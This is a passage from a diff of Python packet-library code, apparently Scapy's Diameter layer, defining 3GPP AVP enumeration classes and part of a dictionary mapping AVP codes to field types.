"MOBILE_ORIGINATING", + 2: "MOBILE_TERMINATING", + 3: "APPLICATION_ORIGINATING", + 4: "APPLICATION_TERMINATION", + })] + + +class AVP_10415_2007 (AVP_FL_V): + name = 'SM-Message-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "SUBMISSION", })] + + +class AVP_10415_2011 (AVP_FL_V): + name = 'Reply-Path-Requested' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "No Reply Path Set", 1: "Reply path Set", })] # noqa: E501 + + +class AVP_10415_2016 (AVP_FL_V): + name = 'SMS-Node' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "SMS Router", 1: "IP-SM-GW", 2: "SMS Router and IP-SM-GW", 3: "SMS-SC", })] # noqa: E501 + + +class AVP_10415_2025 (AVP_FL_V): + name = 'PoC-Event-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "Normal;", + 1: "Instant Ppersonal Aalert event;", + 2: "PoC Group Advertisement event;", + 3: "Early Ssession Setting-up event;", + 4: "PoC Talk Burst", + })] + + +class AVP_10415_2029 (AVP_FL_V): + name = 'SM-Service-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "VAS4SMS Short Message content processing", + 1: "VAS4SMS Short Message forwarding", + 2: "VAS4SMS Short Message Forwarding multiple subscriptions ", + 3: "VAS4SMS Short Message filtering ", + 4: "VAS4SMS Short Message receipt", + 5: "VAS4SMS Short Message Network Storage ", + 6: "VAS4SMS Short Message to multiple destinations", + 7: "VAS4SMS Short Message Virtual Private Network (VPN)", + 8: "VAS4SMS Short Message Auto Reply", + 9: "VAS4SMS Short Message Personal Signature", + 10: "VAS4SMS Short Message Deferred Delivery ", + })] + + +class AVP_10415_2033 (AVP_FL_V): + name = 'Subscriber-Role' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "Originating", 1: "Terminating", })] # noqa: E501 + + +class AVP_10415_2036 (AVP_FL_V): + name = 'SDP-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "SDP Offer", 1: "SDP Answer", })] + + +class AVP_10415_2047 (AVP_FL_V): + name = 'Serving-Node-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "SGSN", 1: "PMIPSGW", 2: "GTPSGW", 3: "ePDG", 4: "hSGW", 5: "MME", 6: "TWAN", })] # noqa: E501 + + +class AVP_10415_2049 (AVP_FL_V): + name = 'Participant-Action-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "CREATE_CONF", 1: "JOIN_CONF", 2: "INVITE_INTO_CONF", 3: "QUIT_CONF", })] # noqa: E501 + + +class AVP_10415_2051 (AVP_FL_V): + name = 'Dynamic-Address-Flag' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "Static", 1: "Dynamic", })] + + +class AVP_10415_2065 (AVP_FL_V): + name = 'SGW-Change' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "ACR_Start_NOT_due_to_SGW_Change", })] # noqa: E501 + + +class AVP_10415_2066 (AVP_FL_V): + name = 'Charging-Characteristics-Selection-Mode' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "Serving-Node-Supplied", + 1: "Subscription-specific", + 2: "APN-specific", + 3: "Home-Default", + 4: "Roaming-Default", + 5: "Visiting-Default", + })] + + +class AVP_10415_2068 (AVP_FL_V): + name = 'Dynamic-Address-Flag-Extension' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "Static", 1: "Dynamic", })] + + +class AVP_10415_2118 (AVP_FL_V): + name = 'Charge-Reason-Code' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "UNKNOWN", + 1: "USAGE", + 2: "COMMUNICATION-ATTEMPT-CHARGE", + 3: "SETUP-CHARGE", + 4: "ADD-ON-CHARGE", + })] + + +class AVP_10415_2203 (AVP_FL_V): + name = 'Subsession-Operation' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "TERMINATION", 1: "ESTABLISHMENT", 2: "MODIFICATION", })] # noqa: E501 + + +class AVP_10415_2204 (AVP_FL_V): + name = 'Multiple-BBERF-Action' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "ESTABLISHMENT", 1: "TERMINATION", })] # noqa: E501 + + +class AVP_10415_2206 (AVP_FL_V): + name = 'DRA-Deployment' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "DRA_Deployed", })] + + +class AVP_10415_2208 (AVP_FL_V): + name = 'DRA-Binding' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "DRA_BINDING_DELETION", })] + + +class AVP_10415_2303 (AVP_FL_V): + name = 'Online-Charging-Flag' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "ECF address not provided", 1: "ECF address provided", })] # noqa: E501 + + +class AVP_10415_2308 (AVP_FL_V): + name = 'IMSI-Unauthenticated-Flag' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "Authenticated", 1: "Unauthenticated", })] # noqa: E501 + + +class AVP_10415_2310 (AVP_FL_V): + name = 'AoC-Format' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "MONETARY", 1: "NON_MONETARY", 2: "CAI", })] # noqa: E501 + + +class AVP_10415_2312 (AVP_FL_V): + name = 'AoC-Service-Obligatory-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "NON_BINDING", 1: "BINDING", })] + + +class AVP_10415_2313 (AVP_FL_V): + name = 'AoC-Service-Type' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "NONE", 1: "AOC-S", 2: "AOC-D", 3: "AOC-E", })] # noqa: E501 + + +class AVP_10415_2317 (AVP_FL_V): + name = 'CSG-Access-Mode' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "Closed mode", 1: "Hybrid Mode", })] # noqa: E501 + + +class AVP_10415_2318 (AVP_FL_V): + name = 'CSG-Membership-Indication' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "Not CSG member", 1: "CSG Member ", })] # noqa: E501 + + +class AVP_10415_2322 (AVP_FL_V): + name = 'IMS-Emergency-Indicator' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "Non Emergency", 1: "Emergency", })] # noqa: E501 + + +class AVP_10415_2323 (AVP_FL_V): + name = 'MBMS-Charged-Party' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "Content Provider", 1: "Subscriber", })] # noqa: E501 + + +class AVP_10415_2500 (AVP_FL_V): + name = 'SLg-Location-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "CURRENT_LOCATION", + 1: "CURRENT_OR_LAST_KNOWN_LOCATION", + 2: "INITIAL_LOCATION", + 3: "ACTIVATE_DEFERRED_LOCATION", + 4: "CANCEL_DEFERRED_LOCATION", + 5: "NOTIFICATION_VERIFICATION_ONLY", + })] + + +class AVP_10415_2507 (AVP_FL_V): + name = 'Vertical-Requested' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "VERTICAL_COORDINATE_IS_NOT REQUESTED", 1: "VERTICAL_COORDINATE_IS_REQUESTED", })] # noqa: E501 + + +class AVP_10415_2508 (AVP_FL_V): + name = 'Velocity-Requested' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "VELOCITY_IS_NOT_REQUESTED", 1: "BEST VELOCITY_IS_REQUESTED", })] # noqa: E501 + + +class AVP_10415_2509 (AVP_FL_V): + name = 'Response-Time' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "LOW_DELAY", 1: "DELAY_TOLERANT", })] # noqa: E501 + + +class AVP_10415_2512 (AVP_FL_V): + name = 'LCS-Privacy-Check' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "ALLOWED_WITHOUT_NOTIFICATION", + 1: "ALLOWED_WITH_NOTIFICATION", + 2: "ALLOWED_IF_NO_RESPONSE", + 3: "RESTRICTED_IF_NO_RESPONSE", + 4: "NOT_ALLOWED", + })] + + +class AVP_10415_2513 (AVP_FL_V): + name = 'Accuracy-Fulfilment-Indicator' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "REQUESTED_ACCURACY_FULFILLED", 1: "REQUESTED_ACCURACY_NOT_FULFILLED", })] # noqa: E501 + + +class AVP_10415_2518 (AVP_FL_V): + name = 'Location-Event' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "EMERGENCY_CALL_ORIGINATION", + 1: "EMERGENCY_CALL_RELEASE", + 2: "MO_LR", + 3: "EMERGENCY_CALL_HANDOVER", + })] + + +class AVP_10415_2519 (AVP_FL_V): + name = 'Pseudonym-Indicator' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "PSEUDONYM_NOT_REQUESTED", 1: "PSEUDONYM_REQUESTED", })] # noqa: E501 + + +class AVP_10415_2523 (AVP_FL_V): + name = 'LCS-QoS-Class' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "ASSURED", 1: "BEST EFFORT", })] + + +class AVP_10415_2538 (AVP_FL_V): + name = 'Occurrence-Info' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "ONE_TIME_EVENT", 1: "MULTIPLE_TIME_EVENT", })] # noqa: E501 + + +class AVP_10415_2550 (AVP_FL_V): + name = 'Periodic-Location-Support-Indicator' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "NOT_SUPPORTED", 1: "SUPPORTED", })] # noqa: E501 + + +class AVP_10415_2551 (AVP_FL_V): + name = 'Prioritized-List-Indicator' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "NOT_PRIORITIZED", 1: "PRIORITIZED", })] # noqa: E501 + + +class AVP_10415_2602 (AVP_FL_V): + name = 'Low-Priority-Indicator' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "NO", })] + + +class AVP_10415_2604 (AVP_FL_V): + name = 'Local-GW-Inserted-Indication' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "Local GW Not Inserted", 1: "Local GW Inserted", })] + + +class AVP_10415_2605 (AVP_FL_V): + name = 'Transcoder-Inserted-Indication' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "Transcoder Not Inserted", 1: "Transcoder Inserted", })] + + +class AVP_10415_2702 (AVP_FL_V): + name = 'AS-Code' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "4xx;", 1: "5xx;", 2: "Timeout", })] + + +class AVP_10415_2704 (AVP_FL_V): + name = 'NNI-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "non-roaming", 1: "roaming without loopback", 2: "roaming with loopback", })] # noqa: E501 + + +class AVP_10415_2706 (AVP_FL_V): + name = 'Relationship-Mode' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "trusted", 1: "non-trusted", })] + + +class AVP_10415_2707 (AVP_FL_V): + name = 'Session-Direction' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "inbound", })] + + +class AVP_10415_2710 (AVP_FL_V): + name = 'Access-Transfer-Type' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "PS to CS Transfer", 1: "CS to PS Transfer", })] # noqa: E501 + + +class AVP_10415_2717 (AVP_FL_V): + name = 'TAD-Identifier' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "CS", 1: "PS", })] + + +class AVP_10415_2809 (AVP_FL_V): + name = 'Mute-Notification' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "MUTE_REQUIRED", })] + + +class AVP_10415_2811 (AVP_FL_V): + name = 'AN-GW-Status' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "AN_GW_FAILED", })] + + +class AVP_10415_2904 (AVP_FL_V): + name = 'SL-Request-Type' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "INITIAL_REQUEST", 1: "INTERMEDIATE_REQUEST", })] # noqa: E501 + + +class AVP_10415_3407 (AVP_FL_V): + name = 'SM-Device-Trigger-Indicator' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "Not DeviceTrigger ", 1: "Device Trigger", })] # noqa: E501 + + +class AVP_10415_3415 (AVP_FL_V): + name = 'Forwarding-Pending' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Forwarding not pending", 1: "Forwarding pending", })] # noqa: E501 + + +class AVP_10415_3421 (AVP_FL_V): + name = 'CN-Operator-Selection-Entity' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "The Serving Network has been selected by the UE", + 1: "The Serving Network has been selected by the network", + })] + + +class AVP_10415_3428 (AVP_FL_V): + name = 'Coverage-Status' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "Out of coverage", 1: "In coverage", })] # noqa: E501 + + +class AVP_10415_3438 (AVP_FL_V): + name = 'Role-Of-ProSe-Function' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "HPLMN", 1: "VPLMN", })] + + +class AVP_10415_3442 (AVP_FL_V): + name = 'ProSe-Direct-Discovery-Model' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "Model A", 1: "Model B", })] + + +class AVP_10415_3443 (AVP_FL_V): + name = 'ProSe-Event-Type' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Announcing", 1: "Monitoring", 2: "Match Report", })] # noqa: E501 + + +class AVP_10415_3445 (AVP_FL_V): + name = 'ProSe-Functionality' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Direct discovery", 1: "EPC-level discovery", })] # noqa: E501 + + +class AVP_10415_3448 (AVP_FL_V): + name = 'ProSe-Range-Class' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "Reserved", 1: "50 m", 2: "100 m", 3: "200 m", 4: "500 m", 5: "1000 m", })] # noqa: E501 + + +class AVP_10415_3449 (AVP_FL_V): + name = 'ProSe-Reason-For-Cancellation' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "Proximity Alert sent", 1: "Time expired with no renewal", })] + + +class AVP_10415_3451 (AVP_FL_V): + name = 'ProSe-Role-Of-UE' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Announcing UE", 1: "Monitoring UE", 2: "Requestor UE", })] # noqa: E501 + + +class AVP_10415_3454 (AVP_FL_V): + name = 'Proximity-Alert-Indication' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "Alert", 1: "No Alert", })] + + +# Remaining AVPs (which do not need to be declared as classes) +############################################################## + +# In AvpDefDict dictionary, the first level key is the 'AVP vendor' and the second level key is the 'AVP code' # noqa: E501 +# Each tuple then defines the AVP name, the Scapy class and the default flags +AvpDefDict = { + 0: { + 1: ('User-Name', AVPNV_StrLenField, 64), + 2: ('User-Password', AVPNV_OctetString, 64), + 5: ('NAS-Port', AVPNV_Unsigned32, 64), + 6: ('Service-Type', AVP_0_6, 64), + 7: ('Framed-Protocol', AVP_0_7, 64), + 9: ('Framed-IP-Netmask', AVPNV_OctetString, 64), + 10: ('Framed-Routing', AVP_0_10, 64), + 11: ('Filter-Id', AVPNV_StrLenField, 64), + 12: ('Framed-MTU', AVPNV_Unsigned32, 64), + 13: ('Framed-Compression', AVP_0_13, 64), + 15: ('Login-Service', AVP_0_15, 64), + 16: ('Login-TCP-Port', AVPNV_Unsigned32, 64), + 18: ('Reply-Message', AVPNV_StrLenField, 64), + 19: ('Callback-Number', AVPNV_StrLenField, 64), + 20: ('Callback-Id', AVPNV_StrLenField, 64), + 22: ('Framed-Route', AVPNV_StrLenField, 64), + 23: ('Framed-IPX-Network', AVPNV_Unsigned32, 64), + 25: ('Class', AVPNV_OctetString, 64), + 27: ('Session-Timeout', AVPNV_Unsigned32, 64), + 28: ('Idle-Timeout', AVPNV_Unsigned32, 64), + 30: ('Called-Station-Id', AVPNV_StrLenField, 64), + 31: ('Calling-Station-Id', AVPNV_StrLenField, 64), + 33: ('Proxy-State', AVPNV_OctetString, 64), + 34: ('Login-LAT-Service', AVPNV_OctetString, 64), + 35: ('Login-LAT-Node', AVPNV_OctetString, 64), + 36: ('Login-LAT-Group', AVPNV_OctetString, 64), + 37: ('Framed-Appletalk-Link', AVPNV_Unsigned32, 64), + 38: ('Framed-Appletalk-Network', AVPNV_Unsigned32, 64), + 39: ('Framed-Appletalk-Zone', AVPNV_OctetString, 64), + 41: ('Acct-Delay-Time', AVPNV_Unsigned32, 64), + 44: ('Acct-Session-Id', AVPNV_OctetString, 64), + 45: ('Acct-Authentic', AVP_0_45, 64), + 46: ('Acct-Session-Time', AVPNV_Unsigned32, 64), + 50: ('Acct-Multi-Session-Id', AVPNV_StrLenField, 64), + 51: ('Acct-Link-Count', AVPNV_Unsigned32, 64), + 55: ('Event-Timestamp', AVPNV_Time, 64), + 60: ('CHAP-Challenge', AVPNV_OctetString, 64), + 61: ('NAS-Port-Type', AVP_0_61, 64), + 62: ('Port-Limit', AVPNV_Unsigned32, 64), + 63: ('Login-LAT-Port', AVPNV_OctetString, 64), + 64: ('Tunnel-Type', AVP_0_64, 64), + 65: ('Tunnel-Medium-Type', AVP_0_65, 64), + 66: ('Tunnel-Client-Endpoint', AVPNV_StrLenField, 64), + 67: ('Tunnel-Server-Endpoint', AVPNV_StrLenField, 64), + 68: ('Acct-Tunnel-Connection', AVPNV_OctetString, 64), + 69: ('Tunnel-Password', AVPNV_OctetString, 64), + 70: ('ARAP-Password', AVPNV_OctetString, 64), + 71: ('ARAP-Features', AVPNV_OctetString, 64), + 72: ('ARAP-Zone-Access', AVP_0_72, 64), + 73: ('ARAP-Security', AVPNV_Unsigned32, 64), + 74: ('ARAP-Security-Data', AVPNV_OctetString, 64), + 75: ('Password-Retry', AVPNV_Unsigned32, 64), + 76: ('Prompt', AVP_0_76, 64), + 77: ('Connect-Info', AVPNV_StrLenField, 64), + 78: ('Configuration-Token', AVPNV_OctetString, 64), + 81: ('Tunnel-Private-Group-Id', AVPNV_OctetString, 64), + 82: ('Tunnel-Assignment-Id', AVPNV_OctetString, 64), + 83: ('Tunnel-Preference', AVPNV_Unsigned32, 64), + 84: ('ARAP-Challenge-Response', AVPNV_OctetString, 64), + 85: ('Acct-Interim-Interval', AVPNV_Unsigned32, 64), + 86: ('Acct-Tunnel-Packets-Lost', AVPNV_Unsigned32, 64), + 87: ('NAS-Port-Id', AVPNV_StrLenField, 64), + 88: ('Framed-Pool', AVPNV_OctetString, 64), + 89: ('Chargeable-User-Identity', AVPNV_OctetString, 64), + 90: ('Tunnel-Client-Auth-Id', AVPNV_StrLenField, 64), + 91: ('Tunnel-Server-Auth-Id', AVPNV_StrLenField, 64), + 94: ('Originating-Line-Info', AVPNV_OctetString, 64), + 96: ('Framed-Interface-Id', AVPNV_Unsigned64, 64), + 97: ('Framed-IPv6-Prefix', AVPNV_OctetString, 64), + 99: ('Framed-IPv6-Route', AVPNV_StrLenField, 64), + 100: ('Framed-IPv6-Pool', AVPNV_OctetString, 64), + 102: ('EAP-Key-Name', AVPNV_OctetString, 64), + 104: ('Digest-Realm', AVPNV_StrLenField, 64), + 110: ('Digest-Qop', AVPNV_StrLenField, 64), + 111: ('Digest-Algorithm', AVPNV_StrLenField, 64), + 121: ('Digest-HA1', AVPNV_OctetString, 64), + 124: ('MIP6-Feature-Vector', AVPNV_Unsigned64, 64), + 125: ('MIP6-Home-Link-Prefix', AVPNV_OctetString, 64), + 257: ('Host-IP-Address', AVPNV_Address, 64), + 258: ('Auth-Application-Id', AVP_0_258, 64), + 259: ('Acct-Application-Id', AVPNV_Unsigned32, 64), + 260: ('Vendor-Specific-Application-Id', AVPNV_Grouped, 64), + 261: ('Redirect-Host-Usage', AVP_0_261, 64), + 262: ('Redirect-Max-Cache-Time', AVPNV_Unsigned32, 64), + 263: ('Session-Id', AVPNV_StrLenField, 64), + 264: ('Origin-Host', AVPNV_StrLenField, 64), + 265: ('Supported-Vendor-Id', AVPNV_Unsigned32, 64), + 266: ('Vendor-Id', AVP_0_266, 64), + 267: ('Firmware-Revision', AVPNV_Unsigned32, 0), + 268: ('Result-Code', AVP_0_268, 64), + 269: ('Product-Name', AVPNV_StrLenField, 0), + 270: ('Session-Binding', AVPNV_Unsigned32, 64), + 271: ('Session-Server-Failover', AVP_0_271, 64), + 272: ('Multi-Round-Time-Out', AVPNV_Unsigned32, 64), + 273: ('Disconnect-Cause', AVP_0_273, 64), + 274: ('Auth-Request-Type', AVP_0_274, 64), + 276: ('Auth-Grace-Period', AVPNV_Unsigned32, 64), + 277: ('Auth-Session-State', AVP_0_277, 64), + 278: ('Origin-State-Id', AVPNV_Unsigned32, 64), + 279: ('Failed-AVP', AVPNV_Grouped, 64), + 280: ('Proxy-Host', AVPNV_StrLenField, 64), + 281: ('Error-Message', AVPNV_StrLenField, 0), + 282: ('Route-Record', AVPNV_StrLenField, 64), + 283: ('Destination-Realm', AVPNV_StrLenField, 64), + 284: ('Proxy-Info', AVPNV_Grouped, 64), + 285: ('Re-Auth-Request-Type', AVP_0_285, 64), + 287: ('Accounting-Sub-Session-Id', AVPNV_Unsigned64, 64), + 291: ('Authorization-Lifetime', AVPNV_Unsigned32, 64), + 292: ('Redirect-Host', AVPNV_StrLenField, 64), + 293: ('Destination-Host', AVPNV_StrLenField, 64), + 294: ('Error-Reporting-Host', AVPNV_StrLenField, 0), + 295: ('Termination-Cause', AVP_0_295, 64), + 296: ('Origin-Realm', AVPNV_StrLenField, 64), + 297: ('Experimental-Result', AVPNV_Grouped, 64), + 298: ('Experimental-Result-Code', AVP_0_298, 64), + 299: ('Inband-Security-Id', AVPNV_Unsigned32, 64), + 318: ('MIP-FA-to-HA-SPI', AVPNV_Unsigned32, 64), + 319: ('MIP-FA-to-MN-SPI', AVPNV_Unsigned32, 64), + 320: ('MIP-Reg-Request', AVPNV_OctetString, 64), + 321: ('MIP-Reg-Reply', AVPNV_OctetString, 64), + 322: ('MIP-MN-AAA-Auth', AVPNV_Grouped, 64), + 323: ('MIP-HA-to-FA-SPI', AVPNV_Unsigned32, 64), + 325: ('MIP-MN-to-FA-MSA', AVPNV_Grouped, 64), + 326: ('MIP-FA-to-MN-MSA', AVPNV_Grouped, 64), + 328: ('MIP-FA-to-HA-MSA', AVPNV_Grouped, 64), + 329: ('MIP-HA-to-FA-MSA', AVPNV_Grouped, 64), + 331: ('MIP-MN-to-HA-MSA', AVPNV_Grouped, 64), + 332: ('MIP-HA-to-MN-MSA', AVPNV_Grouped, 64), + 333: ('MIP-Mobile-Node-Address', AVPNV_Address, 64), + 334: ('MIP-Home-Agent-Address', AVPNV_Address, 64), + 335: ('MIP-Nonce', AVPNV_OctetString, 64), + 336: ('MIP-Candidate-Home-Agent-Host', AVPNV_StrLenField, 64), + 337: ('MIP-Feature-Vector', AVPNV_Unsigned32, 64), + 338: ('MIP-Auth-Input-Data-Length', AVPNV_Unsigned32, 64), + 339: ('MIP-Authenticator-Length', AVPNV_Unsigned32, 64), + 340: ('MIP-Authenticator-Offset', AVPNV_Unsigned32, 64), + 341: ('MIP-MN-AAA-SPI', AVPNV_Unsigned32, 64), + 342: ('MIP-Filter-Rule', AVPNV_IPFilterRule, 64), + 343: ('MIP-Session-Key', AVPNV_OctetString, 64), + 344: ('MIP-FA-Challenge', AVPNV_OctetString, 64), + 345: ('MIP-Algorithm-Type', AVP_0_345, 64), + 346: ('MIP-Replay-Mode', AVP_0_346, 64), + 347: ('MIP-Originating-Foreign-AAA', AVPNV_Grouped, 64), + 348: ('MIP-Home-Agent-Host', AVPNV_StrLenField, 64), + 363: ('Accounting-Input-Octets', AVPNV_Unsigned64, 64), + 364: ('Accounting-Output-Octets', AVPNV_Unsigned64, 64), + 365: ('Accounting-Input-Packets', AVPNV_Unsigned64, 64), + 366: ('Accounting-Output-Packets', AVPNV_Unsigned64, 64), + 367: ('MIP-MSA-Lifetime', AVPNV_Unsigned32, 64), + 368: ('SIP-Accounting-Information', AVPNV_Grouped, 64), + 369: ('SIP-Accounting-Server-URI', AVPNV_StrLenField, 64), + 370: ('SIP-Credit-Control-Server-URI', AVPNV_StrLenField, 64), + 371: ('SIP-Server-URI', AVPNV_StrLenField, 64), + 372: ('SIP-Server-Capabilities', AVPNV_Grouped, 64), + 373: ('SIP-Mandatory-Capability', AVPNV_Unsigned32, 64), + 374: ('SIP-Optional-Capability', AVPNV_Unsigned32, 64), + 375: ('SIP-Server-Assignment-Type', AVP_0_375, 64), + 376: ('SIP-Auth-Data-Item', AVPNV_Grouped, 64), + 377: ('SIP-Authentication-Scheme', AVP_0_377, 64), + 378: ('SIP-Item-Number', AVPNV_Unsigned32, 64), + 379: ('SIP-Authenticate', AVPNV_Grouped, 64), + 380: ('SIP-Authorization', AVPNV_Grouped, 64), + 381: ('SIP-Authentication-Info', AVPNV_Grouped, 64), + 382: ('SIP-Number-Auth-Items', AVPNV_Unsigned32, 64), + 383: ('SIP-Deregistration-Reason', AVPNV_Grouped, 64), + 384: ('SIP-Reason-Code', AVP_0_384, 64), + 385: ('SIP-Reason-Info', AVPNV_StrLenField, 64), + 386: ('SIP-Visited-Network-Id', AVPNV_StrLenField, 64), + 387: ('SIP-User-Authorization-Type', AVP_0_387, 64), + 388: ('SIP-Supported-User-Data-Type', AVPNV_StrLenField, 64), + 389: ('SIP-User-Data', AVPNV_Grouped, 64), + 390: ('SIP-User-Data-Type', AVPNV_StrLenField, 64), + 391: ('SIP-User-Data-Contents', AVPNV_OctetString, 64), + 392: ('SIP-User-Data-Already-Available', AVP_0_392, 64), + 393: ('SIP-Method', AVPNV_StrLenField, 64), + 400: ('NAS-Filter-Rule', AVPNV_IPFilterRule, 64), + 401: ('Tunneling', AVPNV_Grouped, 64), + 402: ('CHAP-Auth', AVPNV_Grouped, 64), + 403: ('CHAP-Algorithm', AVP_0_403, 64), + 404: ('CHAP-Ident', AVPNV_OctetString, 64), + 405: ('CHAP-Response', AVPNV_OctetString, 64), + 406: ('Accounting-Auth-Method', AVP_0_406, 64), + 407: ('QoS-Filter-Rule', AVPNV_QoSFilterRule, 64), + 411: ('CC-Correlation-Id', AVPNV_OctetString, 0), + 412: ('CC-Input-Octets', AVPNV_Unsigned64, 64), + 413: ('CC-Money', AVPNV_Grouped, 64), + 414: ('CC-Output-Octets', AVPNV_Unsigned64, 64), + 415: ('CC-Request-Number', AVPNV_Unsigned32, 64), + 416: ('CC-Request-Type', AVP_0_416, 64), + 417: ('CC-Service-Specific-Units', AVPNV_Unsigned64, 64), + 418: ('CC-Session-Failover', AVP_0_418, 64), + 419: ('CC-Sub-Session-Id', AVPNV_Unsigned64, 64), + 420: ('CC-Time', AVPNV_Unsigned32, 64), + 421: ('CC-Total-Octets', AVPNV_Unsigned64, 64), + 422: ('Check-Balance-Result', AVP_0_422, 64), + 423: ('Cost-Information', AVPNV_Grouped, 64), + 424: ('Cost-Unit', AVPNV_StrLenField, 64), + 425: ('Currency-Code', AVPNV_Unsigned32, 64), + 426: ('Credit-Control', AVP_0_426, 64), + 427: ('Credit-Control-Failure-Handling', AVP_0_427, 64), + 428: ('Direct-Debiting-Failure-Handling', AVP_0_428, 64), + 429: ('Exponent', AVPNV_Integer32, 64), + 430: ('Final-Unit-Indication', AVPNV_Grouped, 64), + 431: ('Granted-Service-Unit', AVPNV_Grouped, 64), + 432: ('Rating-Group', AVPNV_Unsigned32, 64), + 433: ('Redirect-Address-Type', AVP_0_433, 64), + 434: ('Redirect-Server', AVPNV_Grouped, 64), + 435: ('Redirect-Server-Address', AVPNV_StrLenField, 64), + 436: ('Requested-Action', AVP_0_436, 64), + 437: ('Requested-Service-Unit', AVPNV_Grouped, 64), + 438: ('Restriction-Filter-Rule', AVPNV_IPFilterRule, 64), + 439: ('Service-Identifier', AVPNV_Unsigned32, 64), + 440: ('Service-Parameter-Info', AVPNV_Grouped, 0), + 441: ('Service-Parameter-Type', AVPNV_Unsigned32, 0), + 442: ('Service-Parameter-Value', AVPNV_OctetString, 0), + 443: ('Subscription-Id', AVPNV_Grouped, 64), + 444: ('Subscription-Id-Data', AVPNV_StrLenField, 64), + 445: ('Unit-Value', AVPNV_Grouped, 64), + 446: ('Used-Service-Unit', AVPNV_Grouped, 64), + 447: ('Value-Digits', AVPNV_Integer64, 64), + 448: ('Validity-Time', AVPNV_Unsigned32, 64), + 449: ('Final-Unit-Action', AVP_0_449, 64), + 450: ('Subscription-Id-Type', AVP_0_450, 64), + 451: ('Tariff-Time-Change', AVPNV_Time, 64), + 452: ('Tariff-Change-Usage', AVP_0_452, 64), + 453: ('G-S-U-Pool-Identifier', AVPNV_Unsigned32, 64), + 454: 